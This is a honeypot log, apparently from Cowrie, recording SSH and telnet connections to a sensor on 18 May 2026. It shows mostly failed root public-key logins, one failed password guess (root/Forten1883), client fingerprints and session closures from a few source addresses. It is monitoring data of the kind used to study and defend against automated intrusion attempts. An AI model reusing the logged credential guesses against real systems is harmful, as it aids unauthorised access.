{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:be:f0:95:c0:a8:f4:b8:2e:a3:6c:69:b6:c8:50:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCymPSlhmx6uAm/RvtnlTwYpwba3H3p5OYgUTWKQZGbuWBdZzdu+D6+6Z+6d4hUxsVJoUI2X5JRaCCPzg2tIcvHIcn9Y2OTZuHYFZgArngf2RZOJftIQyeEAmzewchAC3FGSR8890hsWuj1/9gtWT9RuS6B0mYrUhbsbTRSPtKffshPBry5vU0TonlSHw3v6uAFbHabYkw+gJD/Xi/GYqlFfCduA3slpS1D6t5bn3B6ceH2K++FISDq0FbXpUNHi3XYHVPidiDF7gi7M09AiYSiHZEz+ZPj8+oeeqU/Pu5Ds1+MuAgxY+K1ALc+6OmeKaaZjPRYVAFeKY2tbQqDqFh7wdfsenY0D0yBvHo/aTMZ/XHXvPhMhL30YWmbzv1Yg0A3hvSFoYMcmXnlMTXPojIp/0m3UGkGHBIGdPDPtcvjwFTAVmvcqfrmsL2QopwEiSSHxrcwUU/2C3pK1UEmlVSfLd3YX35Ft2sZa95XA3CL1SiJNDho1WyxtZ7NKBW/c1k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:be:f0:95:c0:a8:f4:b8:2e:a3:6c:69:b6:c8:50:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.981315Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:be:f0:95:c0:a8:f4:b8:2e:a3:6c:69:b6:c8:50:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCymPSlhmx6uAm/RvtnlTwYpwba3H3p5OYgUTWKQZGbuWBdZzdu+D6+6Z+6d4hUxsVJoUI2X5JRaCCPzg2tIcvHIcn9Y2OTZuHYFZgArngf2RZOJftIQyeEAmzewchAC3FGSR8890hsWuj1/9gtWT9RuS6B0mYrUhbsbTRSPtKffshPBry5vU0TonlSHw3v6uAFbHabYkw+gJD/Xi/GYqlFfCduA3slpS1D6t5bn3B6ceH2K++FISDq0FbXpUNHi3XYHVPidiDF7gi7M09AiYSiHZEz+ZPj8+oeeqU/Pu5Ds1+MuAgxY+K1ALc+6OmeKaaZjPRYVAFeKY2tbQqDqFh7wdfsenY0D0yBvHo/aTMZ/XHXvPhMhL30YWmbzv1Yg0A3hvSFoYMcmXnlMTXPojIp/0m3UGkGHBIGdPDPtcvjwFTAVmvcqfrmsL2QopwEiSSHxrcwUU/2C3pK1UEmlVSfLd3YX35Ft2sZa95XA3CL1SiJNDho1WyxtZ7NKBW/c1k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:53.986094Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:4f:21:ba:d3:1c:f2:f8:4b:f2:35:f3:a7:0e:97:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHacPBGm4WnNvCD/85H5nfrpFcyWF7EQZTRI1U2jUy5E","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:4f:21:ba:d3:1c:f2:f8:4b:f2:35:f3:a7:0e:97:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:54.008749Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:4f:21:ba:d3:1c:f2:f8:4b:f2:35:f3:a7:0e:97:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHacPBGm4WnNvCD/85H5nfrpFcyWF7EQZTRI1U2jUy5E","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:54.013972Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:fb:27:ce:16:66:e9:59:bf:a5:3d:5d:65:d1:0b:f9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpyw4gbC/1k9zsDjRHIr/rKOXanhddvKUzaqbmoAhtF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e4:fb:27:ce:16:66:e9:59:bf:a5:3d:5d:65:d1:0b:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:54.037037Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:fb:27:ce:16:66:e9:59:bf:a5:3d:5d:65:d1:0b:f9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpyw4gbC/1k9zsDjRHIr/rKOXanhddvKUzaqbmoAhtF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:54.041136Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:54.084898Z","src_ip":"158.69.227.40","session":"ad28ba6cd5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.407851934432983,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:59.654418Z","src_ip":"152.42.224.71","session":"1fba4b878865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.96061444282532,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:02.557872Z","src_ip":"152.42.224.71","session":"e18335c00849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"012cc068d980","protocol":"telnet","message":"New connection: 152.42.224.71:56678 (10.17.0.5:23) [session: 012cc068d980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:10.211627Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56674,"dst_ip":"10.17.0.5","dst_port":23,"session":"d84a4907e1b1","protocol":"telnet","message":"New connection: 152.42.224.71:56674 (10.17.0.5:23) [session: d84a4907e1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:10.218090Z"}
{"eventid":"cowrie.session.closed","duration":34.98354530334473,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:11.129768Z","src_ip":"152.42.224.71","session":"01fa9c8d8caa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56688,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e261c9e1f4","protocol":"telnet","message":"New connection: 152.42.224.71:56688 (10.17.0.5:23) [session: 48e261c9e1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:11.802576Z"}
{"eventid":"cowrie.session.closed","duration":29.1809298992157,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:15.957149Z","src_ip":"152.42.224.71","session":"e7068534e59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50070,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad890b6e7cb6","protocol":"telnet","message":"New connection: 152.42.224.71:50070 (10.17.0.5:23) [session: ad890b6e7cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:17.926033Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50074,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb25838341e","protocol":"telnet","message":"New connection: 152.42.224.71:50074 (10.17.0.5:23) [session: 2cb25838341e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:19.248864Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"febc650f38e2","protocol":"telnet","message":"New connection: 152.42.224.71:50088 (10.17.0.5:23) [session: febc650f38e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:20.668363Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51384,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea08dba1b422","protocol":"ssh","message":"New connection: 185.236.22.41:51384 (10.17.0.5:22) [session: ea08dba1b422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:21.002315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:21.007495Z","src_ip":"185.236.22.41","session":"ea08dba1b422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:21.130548Z","src_ip":"185.236.22.41","session":"ea08dba1b422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:21.471350Z","src_ip":"185.236.22.41","session":"ea08dba1b422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:22.773030Z","src_ip":"185.236.22.41","session":"ea08dba1b422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50096,"dst_ip":"10.17.0.5","dst_port":23,"session":"b038fe4d442d","protocol":"telnet","message":"New connection: 152.42.224.71:50096 (10.17.0.5:23) [session: b038fe4d442d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:24.374182Z"}
{"eventid":"cowrie.session.closed","duration":109.22548532485962,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:26.523082Z","src_ip":"152.42.224.71","session":"08cb95426745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.830734968185425,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:27.042228Z","src_ip":"152.42.224.71","session":"012cc068d980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43656,"dst_ip":"10.17.0.5","dst_port":23,"session":"834520ddbafc","protocol":"telnet","message":"New connection: 152.42.224.71:43656 (10.17.0.5:23) [session: 834520ddbafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:27.509534Z"}
{"eventid":"cowrie.session.closed","duration":40.69556975364685,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:33.859251Z","src_ip":"152.42.224.71","session":"f7bbbe6be2db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.56126737594604,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:35.561353Z","src_ip":"152.42.224.71","session":"03ee2efb6f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad49f0029de9","protocol":"telnet","message":"New connection: 152.42.224.71:38662 (10.17.0.5:23) [session: ad49f0029de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:37.282242Z"}
{"eventid":"cowrie.session.closed","duration":106.71937012672424,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:42.013664Z","src_ip":"152.42.224.71","session":"315b0be89382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38672,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ac604cbfce","protocol":"telnet","message":"New connection: 152.42.224.71:38672 (10.17.0.5:23) [session: 38ac604cbfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:43.135859Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38688,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d9188c7d462","protocol":"telnet","message":"New connection: 152.42.224.71:38688 (10.17.0.5:23) [session: 0d9188c7d462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:44.029408Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46944,"dst_ip":"10.17.0.5","dst_port":23,"session":"de1743c39d8b","protocol":"telnet","message":"New connection: 152.42.224.71:46944 (10.17.0.5:23) [session: de1743c39d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:51.561245Z"}
{"eventid":"cowrie.session.closed","duration":42.09641122817993,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:53.898861Z","src_ip":"152.42.224.71","session":"48e261c9e1f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138235092163,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:54.195011Z","src_ip":"152.42.224.71","session":"ccf58f9a43c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac1e5e7d087","protocol":"telnet","message":"New connection: 146.19.210.8:51658 (10.17.0.5:23) [session: aac1e5e7d087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:56.998871Z"}
{"eventid":"cowrie.session.closed","duration":39.3307249546051,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:18:57.256616Z","src_ip":"152.42.224.71","session":"ad890b6e7cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.74863600730896,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:02.122680Z","src_ip":"152.42.224.71","session":"b038fe4d442d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c297f57e2136","protocol":"telnet","message":"New connection: 152.42.224.71:59068 (10.17.0.5:23) [session: c297f57e2136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:04.112450Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a44276a2486","protocol":"telnet","message":"New connection: 152.42.224.71:59084 (10.17.0.5:23) [session: 5a44276a2486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:04.548342Z"}
{"eventid":"cowrie.session.closed","duration":55.7360155582428,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:05.954008Z","src_ip":"152.42.224.71","session":"d84a4907e1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35708,"dst_ip":"10.17.0.5","dst_port":23,"session":"35dc3e79779e","protocol":"telnet","message":"New connection: 152.42.224.71:35708 (10.17.0.5:23) [session: 35dc3e79779e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:10.806591Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35722,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fa5d2ac764","protocol":"telnet","message":"New connection: 152.42.224.71:35722 (10.17.0.5:23) [session: 91fa5d2ac764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:11.018611Z"}
{"eventid":"cowrie.session.closed","duration":28.644726276397705,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:11.780424Z","src_ip":"152.42.224.71","session":"38ac604cbfce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05213785171509,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:16.334244Z","src_ip":"152.42.224.71","session":"ad49f0029de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.03661561012268,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:16.546017Z","src_ip":"152.42.224.71","session":"834520ddbafc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.655219078063965,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:17.216341Z","src_ip":"152.42.224.71","session":"de1743c39d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40294,"dst_ip":"10.17.0.5","dst_port":23,"session":"90fea118caeb","protocol":"telnet","message":"New connection: 152.42.224.71:40294 (10.17.0.5:23) [session: 90fea118caeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:21.404313Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40306,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e94d052280","protocol":"telnet","message":"New connection: 152.42.224.71:40306 (10.17.0.5:23) [session: 05e94d052280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:22.127187Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40314,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d0a7879d39","protocol":"telnet","message":"New connection: 152.42.224.71:40314 (10.17.0.5:23) [session: 62d0a7879d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:23.047733Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e4541ed2137","protocol":"telnet","message":"New connection: 152.42.224.71:40328 (10.17.0.5:23) [session: 2e4541ed2137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:24.762547Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43644,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f8ebcaa71a","protocol":"telnet","message":"New connection: 152.42.224.71:43644 (10.17.0.5:23) [session: 59f8ebcaa71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:25.913226Z"}
{"eventid":"cowrie.session.closed","duration":120.00173163414001,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:27.705225Z","src_ip":"152.42.224.71","session":"f226bcd68b1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.397196054458618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:28.395979Z","src_ip":"146.19.210.8","session":"aac1e5e7d087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00300192832947,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:33.091089Z","src_ip":"152.42.224.71","session":"9aea5847ebae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43652,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a9e80287c1","protocol":"telnet","message":"New connection: 152.42.224.71:43652 (10.17.0.5:23) [session: 13a9e80287c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:33.129329Z"}
{"eventid":"cowrie.session.closed","duration":29.55673861503601,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:33.669056Z","src_ip":"152.42.224.71","session":"c297f57e2136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":58866,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a409edf735d","protocol":"telnet","message":"New connection: 146.19.210.8:58866 (10.17.0.5:23) [session: 5a409edf735d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:35.144747Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42108,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad10483385e0","protocol":"telnet","message":"New connection: 152.42.224.71:42108 (10.17.0.5:23) [session: ad10483385e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:36.705006Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42122,"dst_ip":"10.17.0.5","dst_port":23,"session":"faa98422b7a7","protocol":"telnet","message":"New connection: 152.42.224.71:42122 (10.17.0.5:23) [session: faa98422b7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:38.120808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c88afa71339","protocol":"telnet","message":"New connection: 152.42.224.71:42126 (10.17.0.5:23) [session: 2c88afa71339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:39.154022Z"}
{"eventid":"cowrie.session.closed","duration":120.00275373458862,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:40.212437Z","src_ip":"152.42.224.71","session":"8e5fff70da47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.41564607620239,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:40.444924Z","src_ip":"152.42.224.71","session":"0d9188c7d462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42140,"dst_ip":"10.17.0.5","dst_port":23,"session":"39696140a769","protocol":"telnet","message":"New connection: 152.42.224.71:42140 (10.17.0.5:23) [session: 39696140a769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:40.716535Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5862048eb3c","protocol":"telnet","message":"New connection: 152.42.224.71:42154 (10.17.0.5:23) [session: c5862048eb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:42.354457Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39462,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f3633a93c0","protocol":"telnet","message":"New connection: 152.42.224.71:39462 (10.17.0.5:23) [session: 59f3633a93c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:49.676788Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39478,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e9929e4d72","protocol":"telnet","message":"New connection: 152.42.224.71:39478 (10.17.0.5:23) [session: 94e9929e4d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:52.442663Z"}
